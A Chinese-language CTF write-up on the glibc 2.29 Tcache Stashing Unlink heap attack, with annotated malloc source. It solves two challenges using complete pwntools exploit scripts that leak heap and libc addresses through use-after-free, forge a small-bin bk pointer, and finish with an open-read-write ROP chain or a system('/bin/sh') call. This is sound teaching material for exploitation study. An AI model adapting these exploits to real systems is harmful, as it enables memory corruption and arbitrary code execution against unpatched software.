Tcache Stashing Unlink Attack利用思路

0x00 写在前面

Tcache Stashing Unlink Attack这个攻击名词是我第一次见到的,因此写一篇文章以记录思路。

2020/03/13 更新:Tcache Stashing Unlink Attack有了更深的利用方式,从本来的任意地址写一个指定值或可扩大到任意地址分配chunk进而做到任意地址读写。

0x01 前置知识

House of Lore Attack

Tcache Stashing Unlink Attack也是利用了Smallbin的相关分配机制进行的攻击,因此此处先对House of Lore这一攻击技术做一个简要的介绍。

攻击目标

分配任意指定位置的 chunk,从而修改任意地址的内存。(任意地址写)

攻击前提

能控制 Small Bin Chunk 的 bk 指针,并且控制指定位置 chunk 的 fd 指针。

攻击原理

漏洞源码(Glibc2.29 malloc.c line3639)

⚠️:代码中的英文注释为源代码自带,中文注释为分析,Tcache部分不做分析。

  /*
    If a small request, check regular bin.  Since these "smallbins"
    hold one size each, no searching within bins is necessary.
    (For a large request, we need to wait until unsorted chunks are
    processed to find best fit. But for small ones, fits are exact
    anyway, so we can check now, which is faster.)
*/
if (in_smallbin_range (nb))
{
    idx = smallbin_index (nb);
    // 获取 small bin 的索引
    bin = bin_at (av, idx);
    // 先执行 victim = last(bin),获取 small bin 的最后一个 chunk
    // 若结果 victim = bin ,那说明该 bin 为空。
    if ( ( victim = last (bin) ) != bin )
    {
        // 获取 small bin 中倒数第二个 chunk 。
        bck = victim->bk;
        // 检查 bck->fd 是不是 victim,防止伪造
        if ( __glibc_unlikely( bck->fd != victim ) )
            malloc_printerr ("malloc(): smallbin double linked list corrupted");
        // 设置 victim 对应的 inuse 位
        set_inuse_bit_at_offset (victim, nb);
        // 修改 small bin 链表,将 small bin 的最后一个 chunk 取出来
        bin->bk = bck;
        bck->fd = bin;
        // 如果不是 main_arena,设置对应的标志
        if (av != &main_arena)
            set_non_main_arena (victim);
        //执行更为细致的检查
        check_malloced_chunk (av, victim, nb);
#if USE_TCACHE //如果程序启用了Tcache
        /* While we're here, if we see other chunks of the same size,
        stash them in the tcache.  */
        size_t tc_idx = csize2tidx (nb);
        if (tcache && tc_idx < mp_.tcache_bins)
        {
            mchunkptr tc_victim;
            /* While bin not empty and tcache not full, copy chunks over.  */
            while ( tcache->counts[tc_idx] < mp_.tcache_count
                   && (tc_victim = last (bin) ) != bin)
            {
                if (tc_victim != 0)
                {
                    bck = tc_victim->bk;
                    set_inuse_bit_at_offset (tc_victim, nb);
                    if (av != &main_arena)
                        set_non_main_arena (tc_victim);
                    bin->bk = bck;
                    bck->fd = bin;
                    tcache_put (tc_victim, tc_idx);
                }
            }
        }
#endif
        // 将申请到的 chunk 转化为对应的 mem 状态
        void *p = chunk2mem (victim);
        // 如果设置了 perturb_type , 则将获取到的chunk初始化为 perturb_type ^ 0xff
        alloc_perturb (p, bytes);
        return p;
    }
}

可以看到,在Glibc2.29中也没有对Small Binmalloc做更多的保护~

漏洞分析
// 获取 small bin 中倒数第二个 chunk 。
bck = victim->bk;
// 检查 bck->fd 是不是 victim,防止伪造
if ( __glibc_unlikely( bck->fd != victim ) )
    malloc_printerr ("malloc(): smallbin double linked list corrupted");
// 设置 victim 对应的 inuse 位
set_inuse_bit_at_offset (victim, nb);
// 修改 small bin 链表,将 small bin 的最后一个 chunk 取出来
bin->bk = bck;
bck->fd = bin;

也就是说,如果此处我们能够控制 small bin 的最后一个 chunk 的 bk 为我们想要写入的内存地址,并且保证__glibc_unlikely( bck->fd != victim )检查通过就可以在small bin中加入我们想加入的Chunk,进而在内存的任意地址分配一个Chunk!

Tcache Stashing Unlink Attack

攻击目标

  1. 向任意指定位置写入指定值。

  2. 向任意地址分配一个Chunk。

攻击前提

  1. 能控制 Small Bin Chunk 的 bk 指针。

  2. 程序可以越过Tache取Chunk。(使用calloc即可做到)

  3. 程序至少可以分配两种不同大小且大小为unsorted bin的Chunk。

攻击原理

我们首先分析House of Lore Attack中所忽视的Tcache相关代码。

#if USE_TCACHE //如果程序启用了Tcache
        /* While we're here, if we see other chunks of the same size,
        stash them in the tcache.  */
        //遍历整个smallbin,获取相同size的free chunk
        size_t tc_idx = csize2tidx (nb);
        if (tcache && tc_idx < mp_.tcache_bins)
        {
            mchunkptr tc_victim;
            /* While bin not empty and tcache not full, copy chunks over.  */
            //判定Tcache的size链表是否已满,并且取出smallbin的末尾Chunk。
            //验证取出的Chunk是否为Bin本身(Smallbin是否已空)
            while ( tcache->counts[tc_idx] < mp_.tcache_count
                   && (tc_victim = last (bin) ) != bin)
            {
                //如果成功获取了Chunk
                if (tc_victim != 0)
                {
                    // 获取 small bin 中倒数第二个 chunk 。
                    bck = tc_victim->bk;
                    //设置标志位
                    set_inuse_bit_at_offset (tc_victim, nb);
                    // 如果不是 main_arena,设置对应的标志
                    if (av != &main_arena)
                        set_non_main_arena (tc_victim);
                    //取出最后一个Chunk
                    bin->bk = bck;
                    bck->fd = bin;
                    //将其放入到Tcache中
                    tcache_put (tc_victim, tc_idx);
                }
            }
        }
#endif

此处我们发现了一个很关键的情况!我们在此处没有经过House of Lore中必须经过的检查:

// 检查 bck->fd 是不是 victim,防止伪造
if ( __glibc_unlikely( bck->fd != victim ) )
    malloc_printerr ("malloc(): smallbin double linked list corrupted");

但是此处又有了矛盾的地方!

首先,在引入Tcache后,Tcache中的Chunk拥有绝对优先权,我们不能越过Tcache向SmallBin中填入Chunk,也不能越过Tcache从SmallBin中取出Chunk。(除非Tcache已经处于FULL状态)

然后,我们如果要在这里启动攻击,那么要求SmallBin中至少有两个Chunk(否则无法进入While中的if语句块),同时要求Tcache处于非空状态。

那样就产生了矛盾,导致这个漏洞看似无法利用。

但是calloc函数有一个很有趣的特性,它不会从TcacheChunk,因此可以越过第一条矛盾“不能越过TcacheSmallBin中取出Chunk”。

然后是Unsorted Binlast remainder基址,当申请的Chunk大于Unsorted Bin中Chunk的大小且其为Unsorted Bin中的唯一Chunk时,该Chunk不会进入Tcache

同时,我们来分析tcache_put函数

static __always_inline void tcache_put (mchunkptr chunk, size_t tc_idx)
{
  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
  assert (tc_idx < TCACHE_MAX_BINS);

  /* Mark this chunk as "in the tcache" so the test in _int_free will
     detect a double free.  */
  e->key = tcache;

  e->next = tcache->entries[tc_idx];
  tcache->entries[tc_idx] = e;
  ++(tcache->counts[tc_idx]);
}

可以发现,tcache_put函数没有做任何的安全检查。

那么,当Tcache存在两个以上的空位时,程序会将我们的fake chunk置入Tcache。

 

0x02 以BUUOJ-2020 新春红包题-3为例

题目分析

image-20200201212130596

除了Canary保护外,保护全部开启。

image-20200201212240255

题目很明显,在free后没有将指针置零,存在Use-After-Free漏洞,并且因为程序开启了Edit功能和Show功能,导致漏洞十分严重。

image-20200201212738593

题目在分配Chunk时规定了大小,因此限制了我们对于Large Bin Attack的使用。

另外题目的分配函数使用了calloc()calloc()会在申请Chunk后对其内部进行清零操作,并且calloc()不会从Tcache Bin中取出堆块,那么我们直接将Tcache Bin填满就可以进行正常利用了。

程序在最后预留了后门函数,以供我们执行ROP链。

image-20200201213018380

但是后门的启用需要满足三个条件

image-20200201213236842

Back_door_heck变量是一个大小为0x1000的Chunk。

image-20200201213350781

Tcache Bin的填充

首先,需要循环释放7个Chunk到Tcache Bin区域以填满Tcache以防止其干扰我们后续的利用。

for i in range(7):
    creat(sh,15,4,'Chunk_15')
    delete(sh,15)

同时为了之后我们使用Tcache Stashing Unlink Attack,我们需要先向0x100大小的Tcache Bin释放6个Chunk,这样,在将我们伪造的Fake_chunk放入Tcache Bin区域时,Tcache Bin区域将会填满,程序不会继续通过我们伪造的bk指针向后继续遍历。

for i in range(6):
    creat(sh,14,2,'Chunk_14')
    delete(sh,14)

 

泄露Heap地址及Libc地址

因为UAF漏洞的存在,我们只需要打印已经释放过的Tcache即可计算出Heap区域的首地址。

show(sh,15)
last_chunk_addr = get_address(sh,'We get last chunk address is ','','\x0A')
heap_addr = last_chunk_addr - 0x26C0
log.success('We get heap address is ' + str(hex(heap_addr)))

接下来继续分配一个0x300大小的Chunk,释放后它将进入Unsorted Bin,此时打印它的内容,将泄漏Libc基址。

⚠️:为防止Top Chunk合并,需要在最后额外申请一个Chunk。

creat(sh,1,4,'Chunk_1')
creat(sh,13,3,'Chunk_13')
delete(sh,1)
show(sh,1)
libc_base = get_address(sh,'We leak main arena address is ','','\x0A') - 0x1E4CA0
log.success('We get libc base address is ' + str(hex(libc_base)))

 

向Small Bin中加入两个Chunk

此时在Unsorted Bin中已经有一个0x410大小的Chunk了,现在我们申请两个0x300大小的Chunk,程序会将0x100大小的Chunk放入Small Bin中。

creat(sh,13,3,'Chunk_13')
creat(sh,13,3,'Chunk_13')

image-20200202203511506

然后我们再次申请一个0x400的Chunk,释放,再申请一个0x300的Chunk,在Small Bin中再次加入一个大小为0x100的Chunk

⚠️:为防止Top Chunk合并,需要在最后额外申请一个Chunk。

creat(sh,2,4,'Chunk_2')
creat(sh,13,4,'Chunk_13')
delete(sh,2)
creat(sh,13,3,'Chunk_13')
creat(sh,13,3,'Chunk_13')

image-20200202203610829

执行 Tcache Stashing Unlink Attack

现在SmallBin中的情况为:

Small Bin: Chunk2 -> Chunk1

那么我们接下来若申请一个大小为0xF0Chunk,程序仅会检查Chunk2fd指针是否指向Chunk1

在取出Chunk1后,因为0x100的Tcache Bin还有1个空位,程序会遍历发现Chunk2满足大小条件并将其放入Tcache Bin中!

我们若此时篡改Chunk2bk指针指向heap_addr+0x250+0x10+0x800-0x10,程序就会在heap_addr+0x250+0x10+0x800的位置写入main_arena的地址,进而可以让我们进入后门函数。

payload='\x00'*0x300+p64(0)+p64(0x101)+p64(heap_addr+0x31E0)+p64(heap_addr+0x250+0x10+0x800-0x10)
edit(sh,2,payload)

触发攻击

creat(sh,3,2,'Chunk_3')

构造ROP链

经过检测,发现程序开启了SandBox。

image-20200205163749140

那么我们采取Open-Read-Write的利用方式。

⚠️:Read函数的第一个参数文件描述符从0开始累加,程序进行时内核会自动打开3个文件描述符,0,1,2,分别对应,标准输入、输出和出错,这样在程序中,每打开一个文件,文件描述符值从3开始累加。

因为我们无法获取PIE的值,于是选择从libc中寻找gadget。

image-20200205173304189

至此,我们可以顺利的构造ROP链。

ROP_chain  = '/flag\x00\x00\x00'
ROP_chain += p64(pop_rdi_ret)
ROP_chain += p64(file_name_addr)
ROP_chain += p64(pop_rsi_ret)
ROP_chain += p64(0)
ROP_chain += p64(libc_base+libc.symbols['open'])
ROP_chain += p64(pop_rdi_ret)
ROP_chain += p64(3)
ROP_chain += p64(pop_rsi_ret)
ROP_chain += p64(flag_addr)
ROP_chain += p64(pop_rdx_ret)
ROP_chain += p64(0x40)
ROP_chain += p64(libc_base+libc.symbols['read'])
ROP_chain += p64(pop_rdi_ret)
ROP_chain += p64(1)
ROP_chain += p64(pop_rsi_ret)
ROP_chain += p64(flag_addr)
ROP_chain += p64(pop_rdx_ret)
ROP_chain += p64(0x40)
ROP_chain += p64(libc_base+libc.symbols['write'])

Final Exploit

from pwn import *
import sys
context.log_level='debug'
context.arch='amd64'

RedPacket_SoEasyPwn1=ELF('RedPacket_SoEasyPwn1')

if context.arch == 'amd64':
    libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
elif context.arch == 'i386':
    libc=ELF("/lib/i386-linux-gnu/libc.so.6")

def get_sh(other_libc = null):
    global libc
    if args['REMOTE']:
        if other_libc is not null:
            libc = ELF("./")
        return remote(sys.argv[1], sys.argv[2])
    else:
        return process("./RedPacket_SoEasyPwn1")

def get_address(sh,info=null,start_string=null,end_string=null,int_mode=False):
    sh.recvuntil(start_string)
    if int_mode :
        return_address=int(sh.recvuntil(end_string).strip(end_string),16)
    elif context.arch == 'amd64':
        return_address=u64(sh.recvuntil(end_string).strip(end_string).ljust(8,'\x00'))
    else:
        return_address=u32(sh.recvuntil(end_string).strip(end_string).ljust(4,'\x00'))
    log.success(info+str(hex(return_address)))
    return return_address

def get_flag(sh):
    # sh.recv()
    sh.sendline('ls')
    sh.recv()
    sh.sendline('cat /flag')
    return sh.recvline()

def get_gdb(sh,stop=False):
    gdb.attach(sh)
    if stop :
        raw_input()

def creat(sh,index,chunk_size_index,value):
    sh.recvuntil('Your input: ')
    sh.sendline('1')
    sh.recvuntil('Please input the red packet idx: ')
    sh.sendline(str(index))
    sh.recvuntil('How much do you want?(1.0x10 2.0xf0 3.0x300 4.0x400): ')
    sh.sendline(str(chunk_size_index))
    sh.recvuntil('Please input content: ')
    sh.sendline(value)

def delete(sh,index):
    sh.recvuntil('Your input: ')
    sh.sendline('2')
    sh.recvuntil('Please input the red packet idx: ')
    sh.sendline(str(index))

def edit(sh,index,value):
    sh.recvuntil('Your input: ')
    sh.sendline('3')
    sh.recvuntil('Please input the red packet idx: ')
    sh.sendline(str(index))
    sh.recvuntil('Please input content: ')
    sh.sendline(value)

def show(sh,index):
    sh.recvuntil('Your input: ')
    sh.sendline('4')
    sh.recvuntil('Please input the red packet idx: ')
    sh.sendline(str(index))

if __name__ == "__main__":
    sh = get_sh()
    

    for i in range(7):
        creat(sh,15,4,'Chunk_15')
        delete(sh,15)

    for i in range(6):
        creat(sh,14,2,'Chunk_14')
        delete(sh,14)


    show(sh,15)
    last_chunk_addr = get_address(sh,'We get last chunk address is ','','\x0A')
    heap_addr = last_chunk_addr - 0x26C0
    log.success('We get heap address is ' + str(hex(heap_addr)))

    creat(sh,1,4,'Chunk_1')
    creat(sh,13,3,'Chunk_13')
    delete(sh,1)
    show(sh,1)
    libc_base = get_address(sh,'We leak main arena address is ','','\x0A') - 0x1E4CA0
    log.success('We get libc base address is ' + str(hex(libc_base)))


    creat(sh,13,3,'Chunk_13')
    creat(sh,13,3,'Chunk_13')

    creat(sh,2,4,'Chunk_2')
    creat(sh,13,4,'Chunk_13')
    delete(sh,2)
    creat(sh,13,3,'Chunk_13')
    creat(sh,13,3,'Chunk_13')


    payload='\x00'*0x300+p64(0)+p64(0x101)+p64(heap_addr+0x37E0)+p64(heap_addr+0x250+0x10+0x800-0x10)
    edit(sh,2,payload)

    creat(sh,3,2,'Chunk_3')


    pop_rdi_ret = libc_base + 0x0000000000026542
    pop_rsi_ret = libc_base + 0x0000000000026f9e
    pop_rdx_ret = libc_base + 0x000000000012bda6
    file_name_addr = heap_addr + 0x0000000000004A40
    flag_addr = file_name_addr + 0x0000000000000200
    ROP_chain  = '/flag\x00\x00\x00'
    ROP_chain += p64(pop_rdi_ret)
    ROP_chain += p64(file_name_addr)
    ROP_chain += p64(pop_rsi_ret)
    ROP_chain += p64(0)
    ROP_chain += p64(libc_base+libc.symbols['open'])
    ROP_chain += p64(pop_rdi_ret)
    ROP_chain += p64(3)
    ROP_chain += p64(pop_rsi_ret)
    ROP_chain += p64(flag_addr)
    ROP_chain += p64(pop_rdx_ret)
    ROP_chain += p64(0x40)
    ROP_chain += p64(libc_base+libc.symbols['read'])
    ROP_chain += p64(pop_rdi_ret)
    ROP_chain += p64(1)
    ROP_chain += p64(pop_rsi_ret)
    ROP_chain += p64(flag_addr)
    ROP_chain += p64(pop_rdx_ret)
    ROP_chain += p64(0x40)
    ROP_chain += p64(libc_base+libc.symbols['write'])

    creat(sh,4,4,ROP_chain)

    leave_ret = libc_base + 0x0000000000058373
    sh.recvuntil('Your input: ')
    sh.sendline('666')
    sh.recvuntil('What do you want to say?')
    sh.sendline('A'*0x80 + p64(file_name_addr) + p64(leave_ret))
    
    sh.interactive()

 

0x04 以2020-XCTF-高校战疫赛 two_chunk为例

题目分析

程序使用了2.30的Libc,但是本题的相关利用与2.30新增的保护机制无关,因此我们使用libc2.29完成利用。

保护全部开启。

程序使用Calloc进行Chunk的分配,编辑函数仅能编辑一次,且编辑时可以溢出0x20字节。

 

向Small Bin中加入两个Chunk

首先Creat(sh,0,0x188)然后再Creat(sh,1,0x300),这个0x300大小的Chunk是为了防止ChunkTop Chunk合并,这里我们将这个Chunk视为Chunk 2。堆内存情况如下:

Chunk 0 (in use)(0x190)
Chunk 2 (in use)(0x310)

紧接着释放Chunk 0,这个Chunk会被加入Unsorted Bin,再Creat(sh,0,0xF0),程序会从Chunk 0中切割走0x100大小,这里我们将剩余的大小视为Chunk 1。堆内存情况如下:

Chunk 0 (in use)(0x100)
Chunk 1 (no use)(0x90 ) <- Unsorted Bin
Chunk 2 (in use)(0x310)

之后我们释放Chunk 0,再次Creat(sh,0,0x100)Chunk 1会被加入Small Bin。然后我们释放Chunk 0Chunk 1。堆内存情况如下:

Chunk 0 (no use)(0x110) <- Tcache Bin
Chunk 1 (no use)(0x90 ) <- Small Bin
Chunk 2 (no use)(0x310) <- Tcache Bin
Chunk 3 (no use)(0x110) <- Chunk 0 <- Tcache Bin

之后我们Creat(sh,0,0x188)然后再Creat(sh,1,0x300),这个0x300大小的Chunk是为了防止ChunkTop Chunk合并,这里我们将这个Chunk视为Chunk 6。堆内存情况如下:

Chunk 0 (no use)(0x110) <- Tcache Bin
Chunk 1 (no use)(0x90 ) <- Small Bin
Chunk 2 (no use)(0x310) <- Tcache Bin
Chunk 3 (no use)(0x110) <- Chunk 0 <- Tcache Bin
Chunk 4 (in use)(0x190)
Chunk 6 (in use)(0x310) 

紧接着释放Chunk 4,这个Chunk会被加入Unsorted Bin,再Creat(sh,0,0xF0),程序会从Chunk 4中切割走0x100大小,这里我们将剩余的大小视为Chunk 5。堆内存情况如下:

Chunk 0 (no use)(0x110) <- Tcache Bin
Chunk 1 (no use)(0x90 ) <- Small Bin
Chunk 2 (no use)(0x310) <- Tcache Bin
Chunk 3 (no use)(0x110) <- Chunk 0 <- Tcache Bin
Chunk 4 (in use)(0x100)
Chunk 5 (no use)(0x90 ) <- Unsorted Bin
Chunk 6 (in use)(0x310) 

之后我们释放Chunk 6,再次Creat(sh,0,0x100)Chunk 5会被加入Small Bin。堆内存情况如下:

Chunk 0 (no use)(0x110) <- Tcache Bin
Chunk 1 (no use)(0x90 ) <- Small Bin
Chunk 2 (no use)(0x310) <- Tcache Bin
Chunk 3 (no use)(0x110) <- Chunk 0 <- Tcache Bin
Chunk 4 (in use)(0x100)
Chunk 5 (no use)(0x90 ) <- Chunk 1 <- Small Bin
Chunk 6 (in use)(0x310) <- Chunk 2 <- Tcache Bin
Chunk 7 (in use)(0x100)

⚠️:此处我们不使用释放Chunk 4的原因是,此时Chunk 0恰好指向Chunk 4,而edit存在一个溢出写,那么我们就可以篡改Chunk5Size域了。

至此,我们向Small Bin中加入了两个0x90大小的Chunk。

 

执行 Tcache Stashing Unlink Attack

现在SmallBin中的情况为:

Small Bin: Chunk5 -> Chunk1

那么我们接下来若申请一个大小为0x88Chunk,程序仅会检查Chunk5fd指针是否指向Chunk1

在取出Chunk 1后,因为0x90的Tcache Bin还有2个空位,程序会首先遍历发现Chunk5满足大小条件并将其作为参数调用tcache_put

while ( tcache->counts[tc_idx] < mp_.tcache_count && (tc_victim = last (bin) ) != bin)
{
    if (tc_victim != 0)
    {
        bck = tc_victim->bk;
        ...
        bin->bk = bck;
        bck->fd = bin;
        tcache_put (tc_victim, tc_idx);
    }
}

若此时,我们篡改了Chunk 5bk指针为Fake_Chunk的地址(假设为0x12345678),那么程序接下来会将Small binbk指针置为0x12345678,并且在0x12345678 -> fd的位置写入bin的地址,也就是main_arena的地址。接下来,由于因为0x90的Tcache Bin仍有1个空位,程序会发现Fake_Chunk满足大小条件并将其作为参数调用tcache_put

此时!程序就会将我们的Fake_Chunk也置入Tcache Bin,我们只要能将其从Tcache Bin取回,就可以做任意地址写了。

⚠️:此处我们仍要注意一点,在将Fake_Chunk也置入Tcache Bin之前,程序会将bin的地址,也就是main_arena的地址写入Fake_Chunk->bk->fd的位置,这里我们一定要确保Fake_Chunk->bk->fd是可写的!那么此处我们使用我们索性将buf的前部统一置为buf的位置+0x20。

那么我们对Chunk 4进行edit操作,注意,此处的Chunk 4index为0。这里我们选择将chunk分配到buf的位置,以便我们能执行任意命令。

edit(sh,0,'\x00' * 0xF0 + p64(0)+ p64(0x91) + p64(heap_address + 0x1310) + p64(0x23333000 - 0x10))
delete(sh,1)
creat(sh,1,0x88)

接下来我们使用Leave_end_message功能即可取回Fake_chunk

 

泄露Libc Address & 获取Shell

首先我们先泄露Libc地址,还记得之前说过的吗,在将Fake_Chunk也置入Tcache Bin之前,程序会将bin的地址,也就是main_arena的地址写入Fake_Chunk->bk->fd的位置,我们已经将Fake_Chunk->bk篡改为了buf的位置+0x20,此时,Fake_Chunk->bk->fd恰好为buf的位置+0x30,也就是message的位置!

那么我们只要使用Show_name_message功能即可泄露main_arena的地址,进而计算libc基址。

然后我们使用Leave_end_message功能取回Fake_chunk即可执行任意libc函数。

Final Exploit

from pwn import *
import traceback
import sys
context.log_level='debug'
context.arch='amd64'
# context.arch='i386'

twochunk=ELF('./twochunk', checksec = False)

if context.arch == 'amd64':
    libc=ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec = False)
elif context.arch == 'i386':
    try:
        libc=ELF("/lib/i386-linux-gnu/libc.so.6", checksec = False)
    except:
        libc=ELF("/lib32/libc.so.6", checksec = False)

def get_sh(Use_other_libc = False , Use_ssh = False):
    global libc
    if args['REMOTE'] :
        if Use_other_libc :
            libc = ELF("./", checksec = False)
        if Use_ssh :
            s = ssh(sys.argv[3],sys.argv[1], sys.argv[2],sys.argv[4])
            return s.process("./twochunk")
        else:
            return remote(sys.argv[1], sys.argv[2])
    else:
        return process("./twochunk")

def get_address(sh,info=None,start_string=None,address_len=None,end_string=None,offset=None,int_mode=False):
    if start_string != None:
        sh.recvuntil(start_string)
    if int_mode :
        return_address = int(sh.recvuntil(end_string,drop=True),16)
    elif address_len != None:
        return_address = u64(sh.recv()[:address_len].ljust(8,'\x00'))
    elif context.arch == 'amd64':
        return_address=u64(sh.recvuntil(end_string,drop=True).ljust(8,'\x00'))
    else:
        return_address=u32(sh.recvuntil(end_string,drop=True).ljust(4,'\x00'))
    if offset != None:
        return_address = return_address + offset
    if info != None:
        log.success(info + str(hex(return_address)))
    return return_address

def get_flag(sh):
    sh.sendline('cat /flag')
    return sh.recvrepeat(0.3)

def get_gdb(sh,gdbscript=None,stop=False):
    gdb.attach(sh,gdbscript=gdbscript)
    if stop :
        raw_input()

def Multi_Attack():
    # testnokill.__main__()
    return

def creat(sh,index,chunk_size):
    sh.recvuntil('choice: ')
    sh.send('1')
    sh.recvuntil('idx: ')
    sh.send(str(index))
    sh.recvuntil('size: ')
    sh.send(str(chunk_size))

def delete(sh,index):
    sh.recvuntil('choice: ')
    sh.send('2')
    sh.recvuntil('idx: ')
    sh.send(str(index))

def show(sh,index):
    sh.recvuntil('choice: ')
    sh.send('3')
    sh.recvuntil('idx: ')
    sh.send(str(index))

def edit(sh,index,value):
    sh.recvuntil('choice: ')
    sh.send('4')
    sh.recvuntil('idx: ')
    sh.send(str(index))
    sh.recvuntil('content: ')
    sh.send(value)

def Show_name_message(sh):
    sh.recvuntil('choice: ')
    sh.send('5')

def Leave_end_message(sh,value):
    sh.recvuntil('choice: ')
    sh.send('6')
    sh.recvuntil('leave your end message: ')
    sh.send(value)

def Back_Door(sh):
    sh.recvuntil('choice: ')
    sh.send('7')

def Attack(sh=None,ip=None,port=None):
    if ip != None and port !=None:
        try:
            sh = remote(ip,port)
        except:
            return 'ERROR : Can not connect to target server!'
    try:
        # Your Code here
        sh.recvuntil('leave your name: ')
        sh.send(p64(0x23333000 + 0x20) * 6)
        sh.recvuntil('leave your message: ')
        sh.sendline('A' * 0x30)

        creat(sh,0,233)
        delete(sh,0)
        creat(sh,0,233)
        delete(sh,0)
        creat(sh,0,23333)
        show(sh,0)

        heap_address = get_address(sh,info='We get heap address is ',address_len=8,offset=-0x260)
        sh.send('2')
        sh.recvuntil('idx: ')
        sh.send(str(0))

        # for i in range(6):
        #     creat(sh,0,0x90)
        #     delete(sh,0)
        for i in range(5):
            creat(sh,0,0x88)
            delete(sh,0)

        for i in range(7):
            creat(sh,0,0x188)
            delete(sh,0)
        
        creat(sh,0,0x188)
        creat(sh,1,0x300)
        delete(sh,0)
        creat(sh,0,0xF0)
        delete(sh,0)

        creat(sh,0,0x100)
        delete(sh,0)
        delete(sh,1)

        creat(sh,0,0x188)
        creat(sh,1,0x300)
        delete(sh,0)
        creat(sh,0,0xF0)
        delete(sh,1)

        creat(sh,1,0x100)

        edit(sh,0,'\x00' * 0xF0 + p64(0)+ p64(0x91) + p64(heap_address + 0x1310) + p64(0x23333000 - 0x10))

        delete(sh,1)
        creat(sh,1,0x88)

        Show_name_message(sh)
        libc.address = get_address(sh,info='We get libc address is ',start_string='message: ',end_string='\n',offset=-0x1E4D20)

        Leave_end_message(sh,p64(libc.symbols['system'])+p64(libc.search('/bin/sh').next()) * 10)
        Back_Door(sh)
        sh.interactive()
        flag=get_flag(sh)
        sh.close()
        return flag
    except Exception as e:
        traceback.print_exc()
        sh.close()
        return 'ERROR : Runtime error!'

if __name__ == "__main__":
    sh = get_sh()
    flag = Attack(sh=sh)
    log.success('The flag is ' + re.search(r'flag{.+}',flag).group())

 

0x05 参考链接

CTF-wiki House of Lore

HITCON CTF 2019 Quals — One Punch Man – berming

(完)